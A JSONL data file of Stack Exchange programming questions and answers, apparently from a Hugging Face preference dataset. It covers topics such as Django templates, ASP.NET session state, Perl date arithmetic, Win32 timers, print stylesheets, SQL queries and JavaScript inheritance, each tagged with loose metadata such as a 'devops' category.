{"id": "hf_6d860e3ec51a", "question": "<p>Is there an easy way to convert between color models in Java (RGB, HSV and Lab). </p>\n\n<p>Assuming RGB color model:</p>\n\n<ul>\n<li>How do I calculate black body spectrum color palette? I want to use it for a heatmap chart.</li>\n<li>How about single-wavelength spectrum?</li>\n</ul>\n\n<p><strong>Edit:</strong> I found that the <a href=\"http://java.sun.com/javase/6/docs/api/java/awt/color/ColorSpace.html\" rel=\"nofollow noreferrer\">ColorSpace</a> class can be used for conversions between RGB/CIE and many other color models.</p>\n", "question_body": "", "answer": "You can build such a palette using the HSV color-model. That's easy once you have the HSV to RGB code in place and play around with the numbers for some minutes.\nHowever, I think it's not worth it to add the code to your project just to generate a little palette.\nIt's much easier and less work to extract the palettes you need from a file and add them as a static array.\nPhotoshop let's you edit palettes and comes with a very nice black body palette as a preset.\nYou can simply save these as a .act file. The file itself is just a simple 256 color á 3 byte file (order is read, green, blue. 8 bits per channel).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.059204"}
{"id": "hf_119b80fe25de", "question": "<p>I need to perform a filtered query from within a django template, to get a set of objects equivalent to python code within a view:</p>\n\n<pre><code>queryset = Modelclass.objects.filter(somekey=foo)\n</code></pre>\n\n<p>In my template I would like to do</p>\n\n<pre><code>{% for object in data.somekey_set.FILTER %}\n</code></pre>\n\n<p>but I just can't seem to find out how to write FILTER.</p>\n", "question_body": "", "answer": "You can't do this, which is by design.  The Django framework authors intended a strict separation of presentation code from data logic.  Filtering models is data logic, and outputting HTML is presentation logic.\nSo you have several options.  The easiest is to do the filtering, then pass the result to\n```\nrender_to_response\n```\n.  Or you could write a method in your model so that you can say\n```\n{% for object in data.filtered_set %}\n```\n.  Finally, you could write your own template tag, although in this specific case I would advise against that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.109033"}
{"id": "hf_fb0798915d3d", "question": "<p>Because of several iframes, XUL browser elements, and so forth, I have a number of window objects in my XULRunner application. I'm looking for the best way to find the window object that a specified node belongs to using JavaScript.</p>\n\n<p>So, to be more specific, given node x, I need to find the specific window object that contains x.</p>\n", "question_body": "", "answer": "You may want to use\nself\n.  self is a reference to the current document.\nFrom within the iframe:\n```\n```\n<body>\n<div id=\"example\">Example!</div>\n<script type=\"text/javascript\">\n    window.onload = function () {\n        var exampleNode = document.getElementById('example');\n        exampleNode.bar = function () {\n            // The highest window object:\n            top;\n            // The parent node:\n            self;\n            // The parent node ( except in IE );\n            this.ownerDocument.defaultView;\n        };\n    };\n</script>\n</body>\n```\n```\nTraversing Multiple Window Objects:\nWithin the browser object model, the primary window object is referred to as\ntop\n.  Other global objects are arranged in a tree structure which stems from top.  With a reference to\ntop\n, you can navigate to the other global objects in the tree by using their\nnames and relationships\n, much in the same way as you\ntraverse the DOM\n.\nWhen you have multiple window objects, as you do in the case of an iframe (of with old school framesets), the frame has a\nname attribute\n.  Given the objects position relative to the top window object, you can use the name of the child to access the object.\n```\n<iframe src =\"/default.html\" name=\"advertisement\"></iframe>\n```\nand then from the context of the top window:\n```\nself.advertisement\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.133808"}
{"id": "hf_4f9c1f639bd6", "question": "<p>StateServer or SQLServer?</p>\n\n<ul>\n<li>What is the best solution for storing ASP.NET session variables?</li>\n<li>What are the pros and cons of each?</li>\n<li>Are one better then other in any particular situation?</li>\n</ul>\n", "question_body": "", "answer": "I think the assumption would be that you are using a web farm of some sort.\nOne use of state service is in a Web Garden (multiple worker-processes on the same machine).  In this case, you can use load-balancing to keep a user's connection going to a particular server, and have the n worker processes all sharing the same state service.\nEDIT: In the web garden + state service or sql server scenario, you also have the benefit of being able to recycle the worker processes on that machine w/o the connected clients losing their session.\nI'm not as familiar with using SQL Server as a session state store, but I would think you would gain robustness by using an SQL Server in a cluster. In this case, you could still have multiple worker processes and multiple servers, but you would not have to use a sticky session (server affinity).\nAnd one more note, you can use state service on a second machine, and have all server in the farm hit that machine, but you would then have a single point of failure.\nAnd finally, there are 3rd party (and some home-grown) distributed state-service-like applications.  Some of these have performance benefits over the other options, plus Session_End event will actually fire. (In both State Service and SQL Server session backing, there the Session_End in Global.asax will not fire (there may be a way of hooking into SQL Server)).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.214174"}
{"id": "hf_02ad14a73ecb", "question": "<p>What is the most elegant way to calculate the previous business day in shell ksh script ?</p>\n\n<p>What I got until now is :</p>\n\n<pre><code>#!/bin/ksh\n\nset -x\n\nDAY_DIFF=1\ncase `date '+%a'` in\n\"Sun\")\n   DAY_DIFF=2\n   ;;\n\"Mon\")\n   DAY_DIFF=3\n   ;;\nesac\n\nPREV_DT=`perl -e '($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time()-${DAY_DIFF}*24*60*60);printf \"%4d%02d%02d\",$year+1900,$mon+1,$mday;'`\n\necho $PREV_DT\n</code></pre>\n\n<p>How do I make the ${DAY_DIFF} variable to be transmitted as value and not as  string ?</p>\n", "question_body": "", "answer": "Well, if running Perl counts as part of the script, then develop the answer in Perl.  The next question is - what defines a business day?  Are you a shop/store that is open on Sunday?  Saturday?  Or a 9-5 Monday to Friday business?  What about holidays?\nAssuming you're thinking Monday to Friday and holidays are temporarily immaterial, then you can use an algorithm in Perl that notes that wday will be 0 on Sunday through 6 on Saturday, and therefore if wday is 1, you need to subtract 3 * 86400 from time(); if wday is 0, you need to subtract 2 * 86400; and if wday is 6, you need to subtract 1 * 86400.  That's what you've got in the Korn shell stuff - just do it in the Perl instead:\n```\n```\n#!/bin/perl -w\nuse strict;\nuse POSIX;\nuse constant SECS_PER_DAY => 24 * 60 * 60;\nmy(@days) = (2, 3, 1, 1, 1, 1, 1);\nmy($now) = time;\nmy($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime($now);\nprint strftime(\"%Y-%m-%d\\n\", localtime($now - $days[$wday] * SECS_PER_DAY));\n```\n```\nThis does assume you have the POSIX module; if not, then you'll need to do roughly the same printf() as you used.  I also use ISO 8601 format for dates by preference (also used by XSD and SQL) - hence the illustrated format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.239867"}
{"id": "hf_9cd4d38e060c", "question": "<p>Can someone please point me to the easiest way to have a timer in a Win32 service?</p>\n\n<p>I suppose I could create a dummy window for this purpose or have a second thread do tick counts, but what's best? Is there a more elegant way?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "You can use SetTimer to set the timer, then catch the WM_TIMER message in your message loop.\nExample:\n// Set a timer to expire in 10 seconds\nSetTimer(hwnd,IDT_TIMER1, 10000,(TIMERPROC) NULL);\n... then in message loop:\nswitch (wParam)\n```\n```\n{ \n\n    case IDT_TIMER1: \n\n        // Boom goes the dynamite\n```\n```\nYou can also decleare a function of type TIMERPROC and have that be called when the timer expires, if you don't want to do the message loop handling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.280331"}
{"id": "hf_4347c7e03411", "question": "<p>I am trying to hide some divs before the user prints this giant form, then display the divs again afterward. Thus I want to ignore the rest of the page, and only print the form itself.</p>\n\n<p>Sure I <em>could</em> open a separate page when the user clicks the print button. The only thing is that the form is really long and it would be quite tedious to do that.</p>\n\n<p><br>\nEdit: My previous question did not actually reflect what I was looking for. So I changed it to the current one.</p>\n\n<p>Also thanks to all that suggested window.onbeforeprint and window.onafterprint. That was relevant to my edited question.</p>\n", "question_body": "", "answer": "First, The Ok Way:\nTake a look at window.onbeforeprint and window.onafterprint (the original question asked about how to do it programmatically I believe).\nNow, the Better Way:\nA better way to do this is with a style that is specifically for printing.  In other words, your div might look like this:\n```\n```\n<div class=\"someClass noPrint\">My Info</div>\n```\n```\nYou would then have this in your stylesheet:\n```\n```\n.someClass {font-family:arial;}\n@media print {\n    .noPrint { display: none; }\n}\n```\n```\nAnother Option\nYou could also put this in a separate stylesheet if you wanted so you don't have to mix styles:\n```\n```\n<link rel=\"stylesheet\" type=\"text/css\" media=\"print\" href=\"print.css\">\n```\n```\nYour screen stylesheet could have \".someClass\" defined one way and then your print stylesheet could have it defined a completely different way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.374168"}
{"id": "hf_270486e5beac", "question": "<p>How do I extend my parent's options array for child classes in PHP?</p>\n\n<p>I have something like this:</p>\n\n<pre><code>class ParentClass {\n\n     public $options = array(\n          'option1'=&gt;'setting1'\n     );\n\n     //The rest of the functions would follow\n}\n</code></pre>\n\n<p>I would like to append to that options array in a child class without erasing any of the parent options. I've tried doing something like this, but haven't quite got it to work yet:</p>\n\n<pre><code>class ChildClass extends ParentClass {\n\n     public $options = parent::options + array(\n          'option2'=&gt;'setting2'\n     );\n\n     //The rest of the functions would follow\n}\n</code></pre>\n\n<p>What would be the best way to do something like this?</p>\n", "question_body": "", "answer": "I think it is better practice to initialize this property in the constructor and then you can extend the value in any descendant class:\n```\n```\n<?php\nclass ParentClass {\n\n    public $options;\n    public function __construct() {\n        $this->options = array(\n            'option1'=>'setting1'\n        );\n    }\n    //The rest of the functions would follow\n}\n\nclass ChildClass extends ParentClass {\n    public function __construct() {\n        parent::__construct();\n        $this->options['option2'] = 'setting2';\n    }\n    //The rest of the functions would follow\n}\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.413068"}
{"id": "hf_a5dd2d4a97ff", "question": "<p>Currently, if I want to apply a method to a group of ActiveRecord objects, I have to structure the call like so:</p>\n\n<pre><code>messages = Message.find(:all)\ncsv = Message.to_csv(messages)\n</code></pre>\n\n<p>How can I define the method so it's structured like so?</p>\n\n<pre><code>messages = Message.find(:all)\ncsv = messages.to_csv\n</code></pre>\n\n<p>This is the current model code:</p>\n\n<pre><code>require 'fastercsv'\nclass Message &lt; ActiveRecord::Base\n  def Message.to_csv(messages)\n    FasterCSV.generate do |csv|\n      csv &lt;&lt; [\"from\",\"to\", \"received\"]\n      for m in messages\n        csv &lt;&lt; [m.from,m.to,m.created_at]\n      end\n    end\n  end\nend\n</code></pre>\n", "question_body": "", "answer": "You could create a method on your Message class to do something along the lines of...\nIn your controller....\n```\n```\n@csv_file = Message.send_all_to_csv\n```\n```\nIn your model...\n```\n```\nrequire 'fastercsv'\nclass Message < ActiveRecord::Base\n  def send_all_to_csv\n    @messages = Find.all\n    FasterCSV.generate do |csv|\n      csv << [\"from\",\"to\", \"received\"]\n      for message in @messages\n        csv << [message.from,message.to,message.created_at]\n      end\n    end\n    # do something with your csv object (return it to the controller\n    # or pass it on to another class method\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.436006"}
{"id": "hf_4f368e803d04", "question": "<p>In the spirit of questions like <a href=\"https://stackoverflow.com/questions/224059/do-your-loops-test-at-the-top-or-bottom\">Do your loops test at the top or bottom?</a>:</p>\n\n<p>Which style do you use for an <em>infinite</em> loop, and why?</p>\n\n<ul>\n<li>while (true) { }</li>\n<li>do { } while (true);</li>\n<li>for (;;) { }</li>\n<li>label: ... goto label;</li>\n</ul>\n", "question_body": "", "answer": "```\n```\nwhile(true) {}\n```\n```\nIt seems to convey the meaning of the loop most effectively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.472315"}
{"id": "hf_4391f1ad7ac6", "question": "<p>I currently capture MiniDumps of unhandled exceptions using <Code>SetUnhandledExceptionFilter</Code> however at times I am getting \"R6025: pure virtual function\".</p>\n\n<p>I understand how a pure virtual function call happens I am just wondering if it is possible to capture them so I can create a MiniDump at that point.</p>\n", "question_body": "", "answer": "See\nthis answer here\nto the question\nwhere do “pure virtual function call” crashes come from?\n.\nTo help with debugging these kinds of\n  problems you can, in various versions\n  of MSVC, replace the runtime library's\n  purecall handler. You do this by\n  providing your own function with this\n  signature:\n```\n```\nint __cdecl _purecall(void)\n```\n```\nand\n  linking it before you link the runtime\n  library. This gives YOU control of\n  what happens when a purecall is\n  detected. Once you have control you\n  can do something more useful than the\n  standard handler. I have a handler\n  that can provide a stack trace of\n  where the purecall happened; see here:\nhttp://www.lenholgate.com/archives/000623.html\nfor more details.\n(Note you can also call\n```\n_set_purecall_handler()\n```\nto install your handler in some versions of\n  MSVC).\nSo, in your purecall handler, make your minidump.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.520138"}
{"id": "hf_0c83cd192c9b", "question": "<p>Thanks a million everyone for everyone's response.  Unfortunately, none of the solutions appear to be working on my end, and my guess is that the example I've provided is messed up.</p>\n\n<p>So let me try again.</p>\n\n<p>My table looks like this:</p>\n\n<pre><code>    contract    project activity\nrow1    1000    8000    10\nrow2    1000    8000    20\nrow3    1000    8001    10\nrow4    2000    9000    49\nrow5    2000    9001    49\nrow6    3000    9000    79\nrow7    3000    9000    78\n</code></pre>\n\n<p>Basically, the query I'm looking for would return \"2000,49\" for \"contract, activity\" because only contract #2000 has one, and ONLY one, unique activity value.</p>\n\n<p>Again, thanks a million in advance,\nboroatel</p>\n", "question_body": "", "answer": "Updated to use your newly provided data:\nThe solutions using the original data may be found at the end of this answer.\nUsing your new data:\n```\n```\nDECLARE  @T TABLE( [contract] INT, project INT, activity INT )\nINSERT INTO @T VALUES( 1000,    8000,    10 )\nINSERT INTO @T VALUES( 1000,    8000,    20 )\nINSERT INTO @T VALUES( 1000,    8001,    10 )\nINSERT INTO @T VALUES( 2000,    9000,    49 )\nINSERT INTO @T VALUES( 2000,    9001,    49 )\nINSERT INTO @T VALUES( 3000,    9000,    79 )\nINSERT INTO @T VALUES( 3000,    9000,    78 )\n\nSELECT DISTINCT [contract], activity FROM @T AS A WHERE\n    (SELECT COUNT( DISTINCT activity ) \n     FROM @T AS B WHERE B.[contract] = A.[contract]) = 1\n```\n```\nreturns:\n    2000, 49\nSolutions using original data\nWARNING:\nThe following solutions use the data previously given in the question and may not make sense for the current question.  I have left them attached for completeness only.\n```\n```\nSELECT Col1, Count( col1 ) AS count FROM table \nGROUP BY col1\nHAVING count > 1\n```\n```\nThis should get you a list of all the values in col1 that are not distinct.  You can place this in a table var or temp table and join against it.\nHere is an example using a sub-query:\n```\n```\nDECLARE @t TABLE( col1 VARCHAR(1), col2 VARCHAR(1), col3 VARCHAR(1) )\n\nINSERT INTO @t VALUES( 'A', 'B', 'C' );\nINSERT INTO @t VALUES( 'D', 'E', 'F' );\nINSERT INTO @t VALUES( 'A', 'J', 'K' );\nINSERT INTO @t VALUES( 'G', 'H', 'H' );\n\nSELECT * FROM @t\n\nSELECT col1, col2 FROM @t WHERE col1 NOT IN \n    (SELECT col1 FROM @t AS t GROUP BY col1 HAVING COUNT( col1 ) > 1)\n```\n```\nThis returns:\n```\n```\nD   E\nG   H\n```\n```\nAnd another method that users a temp table and join:\n```\n```\nDECLARE @t TABLE( col1 VARCHAR(1), col2 VARCHAR(1), col3 VARCHAR(1) )\n\nINSERT INTO @t VALUES( 'A', 'B', 'C' );\nINSERT INTO @t VALUES( 'D', 'E', 'F' );\nINSERT INTO @t VALUES( 'A', 'J', 'K' );\nINSERT INTO @t VALUES( 'G', 'H', 'H' );\n\nSELECT * FROM @t\n\nDROP TABLE #temp_table  \nSELECT col1 INTO #temp_table\n    FROM @t AS t GROUP BY col1 HAVING COUNT( col1 ) = 1\n\nSELECT t.col1, t.col2 FROM @t AS t\n    INNER JOIN #temp_table AS tt ON t.col1 = tt.col1\n```\n```\nAlso returns:\n```\n```\nD   E\nG   H\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.580192"}
{"id": "hf_bb08898fc46e", "question": "<p>How would you program a C/C++ application that could run without opening a window or console? </p>\n", "question_body": "", "answer": "In windows:\n```\n```\n#include <windows.h>\n\nint APIENTRY WinMain(HINSTANCE hInstance,\n                     HINSTANCE hPrevInstance,\n                     LPTSTR    lpCmdLine,\n                     int       nCmdShow)\n{\n    // <-- Program logic here\n    return 0;\n}\n```\n```\nBe sure to use the /SUBSYSTEM linker switch as mentioned by Adam Mitz.\nOn other platforms:\n```\n```\nint main(int argc, char**argv)\n{\n  // <-- Program logic here\n  return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.616422"}
{"id": "hf_ecc4324d68fc", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/25458/how-costly-is-net-reflection\">How costly is .NET reflection?</a>  </p>\n</blockquote>\n\n\n\n<p>I am currently in a programming mentality that reflection is my best friend. I use it a lot for dynamic loading of content that allows \"loose implementation\" rather than strict interfaces, as well as a lot of custom attributes.</p>\n\n<p>What is the \"real\" cost to using reflection?</p>\n\n<p>Is it worth the effort for frequently reflected types to have cached reflection, such as our own pre-LINQ DAL object code on all the properties to table definitions?</p>\n\n<p>Would the caching memory footprint outwieght the reflection CPU usage?</p>\n", "question_body": "", "answer": "Reflection requires a large amount of the type metadata to be loaded and then processed. This can result in a larger memory overhead and slower execution. According to\nthis article\nproperty modification is about 2.5x-3x slower and method invocation is 3.5x-4x slower.\nHere is an excellent\nMSDN article\noutlining how to make reflection faster and where the overhead is. I highly recommend reading if you want to learn more.\nThere is also an element of complexity that reflection can add to the code that makes it substantially more confusing and hence difficult to work with. Some people, like\nScott Hanselman\nbelieve that by using reflection you often make more problems than you solve. This is especially the case if your teams is mostly junior devs.\nYou may be better off looking into the DLR (Dynamic Language Runtime) if you need alot of dynamic behaviour. With the new changes coming in .NET 4.0 you may want to see if you can incorporate some of it into your solution. The added support for dynamic from VB and C# make using dynamic code very elegant and creating your own dynamic objects fairly straight forward.\nGood luck.\nEDIT: I did some more poking around Scott's site and found this\npodcast\non reflection. I have not listened to it but it might be worth while.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.638140"}
{"id": "hf_531cc391e3c0", "question": "<p>I have a string.</p>\n\n<pre><code>string strToProcess = \"fkdfdsfdflkdkfk@dfsdfjk72388389@kdkfkdfkkl@jkdjkfjd@jjjk@\";\n</code></pre>\n\n<p>I need to add a newline after every occurence of \"@\" symbol in the string.</p>\n\n<p>My Output should be like this</p>\n\n<pre><code>fkdfdsfdflkdkfk@\ndfsdfjk72388389@\nkdkfkdfkkl@\njkdjkfjd@\njjjk@\n</code></pre>\n", "question_body": "", "answer": "Use\n```\nEnvironment.NewLine\n```\nwhenever you want in any string. An example:\n```\n```\nstring text = \"fkdfdsfdflkdkfk@dfsdfjk72388389@kdkfkdfkkl@jkdjkfjd@jjjk@\";\n\ntext = text.Replace(\"@\", \"@\" + System.Environment.NewLine);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.679781"}
{"id": "hf_ed0f1030da79", "question": "<p>I have an array of shorts (short[]) that I need to write out to a file.  What's the quickest way to do this?</p>\n", "question_body": "", "answer": "Use the BinaryWriter\n```\n```\nstatic void WriteShorts(short[] values, string path)\n    {\n        using (FileStream fs = new FileStream(path, FileMode.OpenOrCreate, FileAccess.Write))\n        {\n            using (BinaryWriter bw = new BinaryWriter(fs))\n            {\n                foreach (short value in values)\n                {\n                    bw.Write(value);\n                }\n            }\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.716015"}
{"id": "hf_3d17c2cc656c", "question": "<p>When submitting an app to the app store what is the real difference between iPod Touch and iPod Touch 2nd generation?  </p>\n", "question_body": "", "answer": "The first-gen iPod touch doesn't ship with iPhone OS 2.0, which is required to run App Store apps. End-users can purchase iPhone OS 2.0 for their first-gen iPod touch from Apple.\nFrom an SDK perspective, I'm not sure what, if anything, has changed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.749418"}
{"id": "hf_6099af2e20cc", "question": "<p>I want to change the order of XML using XDocument</p>\n\n<pre><code>&lt;root&gt;\n  &lt;one&gt;1&lt;/one&gt;\n  &lt;two&gt;2&lt;/two&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p>I want to change the order so that 2 appears before 1.  Is this capability baked in or do I have to do it myself.  For example, remove  then AddBeforeSelf()?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This should do the trick. It order the child nodes of the root based on their content and then changes their order in the document. This is likely not the most effective way but judging by your tags you wanted to see it with LINQ.\n```\n```\nstatic void Main(string[] args)\n{\n    XDocument doc = new XDocument(\n        new XElement(\"root\",\n            new XElement(\"one\", 1),\n            new XElement(\"two\", 2)\n            ));\n\n    var results = from XElement el in doc.Element(\"root\").Descendants()\n                  orderby el.Value descending\n                  select el;\n\n    foreach (var item in results)\n        Console.WriteLine(item);\n\n    doc.Root.ReplaceAll( results.ToArray());\n\n    Console.WriteLine(doc);\n\n    Console.ReadKey();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.773019"}
{"id": "hf_7d8efa14fc77", "question": "<p>I have a jQuery datepicker that I want to restrict non work days - weekends, public holidays etc. I have seen examples on how to do this from the client side (javascript), but is there a way to restrict the dates from server side ASP.NET code?</p>\n\n<p>I figure you could do using Page.RegisterClientScriptBlock, but was wondering is there a neater way?</p>\n", "question_body": "", "answer": "You just do it when you validate the data being posted, using the same logic you use client-side. You should always be validating data at server-side, NOTHING from the client side can EVER be trusted, even if you have \"validation code\" there and think you're requiring javascript to be on for it to work.\nDoing validation client-side should be a secondary thing, just to provide a nice user experience. There is no security in any client-side code. (Go install firebug and/or the \"tamper data\" extensions for firefox if you don't believe me).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.794502"}
{"id": "hf_c96f24c56b81", "question": "<p>Is there a better way to negate a boolean in Java than a simple if-else?</p>\n\n<pre><code>if (theBoolean) {\n    theBoolean = false;\n} else {\n    theBoolean = true;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\ntheBoolean = !theBoolean;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.858666"}
{"id": "hf_bf12e47c1bca", "question": "<p>This should a quick question for some easy rep.</p>\n\n<p>I'm doing some PHP Website development, decided to check out and play around with jQuery as well. I don't want to install and manage a local PHP server/service, but I would like a quick one click method for automatically uploading the PHP file I'm working on to my hosting service so I can test it live.</p>\n\n<p>I'm looking into some different editors like Komodo Edit, Notepad++ but I'm wondering what tool has the ability to one click FTP for me?</p>\n\n<hr>\n\n<p>Edit after a few posts came in:</p>\n\n<p>Well Shoot, Ultra Edit costs around $100, and Aptana allows you to upload to their \"Cloud\", but you have to purchase the cloud space. I already have my own server. I'll have look into BlueFish a bit more....Thanks for the help guys.</p>\n\n<p>I'm thinking I might try using Notepad++ and just write a batch file to run windows built in FTP, make a connection and copy all the files in a folder in auto-overwrite mode. Seem feasible?</p>\n", "question_body": "", "answer": "UEStudio\nhas integrated (S)FTP, SVN, etc, plus the ability to open a file over FTP - of course, it actually just downloads to a temp file, but each time you press save, it uploads it to the server again.\nI'm pretty much obliged to point out just now that you might want to reconsider your decision to avoid a local development environment. Using\nXAMPP\n, it's ridiculously easy to set up a local web server. There are a multitude of benefits to this, far too many to list, even.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.882911"}
{"id": "hf_72415ac27534", "question": "<p>I have been trying to learn how to add testing to existing code -- currently reading reading <a href=\"https://rads.stackoverflow.com/amzn/click/com/0131177052\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Working Effectively With Legacy Code</a>.  I have been trying to apply some of the principles in JavaScript, and now I'm trying to extract an interface.</p>\n\n<p>In searching for creating interfaces in JavaScript, I can't find a lot -- and what I find about inheritance seems like their are several different ways.  (Some people create their own base classes to provide helpful methods to make it easier to do inheritance, some use functions, some use prototypes).</p>\n\n<p>What's the right way?  Got a simple example for extracting an interface in JavaScript?</p>\n", "question_body": "", "answer": "There's no definitive\nright way\n, because so many people are doing so many different things..  There are many useful patterns.\nCrockford\nsuggests that you \"go with the grain\", or write javascript in a way that corresponds to javascript's prototypal nature.\nOf course, he goes on to show that the original model that Netscape suggested is actually broken.  He labels it \"pseudoclassical\", and points out a lot of the misdirection and unnecessary complexity that is involved in following that model.\nHe wrote the \"object\" function as a remedy (now known as Object.create() ).  It allows for some very powerful prototypal patterns.\nIt's not always easy to do develop a clean interface when you have to work with legacy javascript, especially not when you're dealing with large systems, usually including multiple libraries, and each implementing a unique style and different inheritance pattern.  In general, I'd say that the \"right way\" to do inheritance is the one which allows you to write a clean interface which behaves well in the context of your legacy code, but also allows you to refactor and eliminate old dependencies over time.\nConsidering the differences between the major library patterns, I've found that the most successful route to take in my own work is to keep my interfaces independent of the library interfaces entirely.  I'll use a library or module if it's helpful, but won't be bound to it.  This has allowed me to refactor a lot of code, phase out some libraries, and use libraries as scaffolding which can be optimized later.\nAlong these lines, I've written interfaces that were inspired by Crockford's parasitic inheritance pattern.  It's really a win for simplicity.\nOn the other side of the coin, I'm sure you could argue for picking a library, enforcing it across your team, and conforming to both its inheritance patterns and its interface conventions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.940386"}
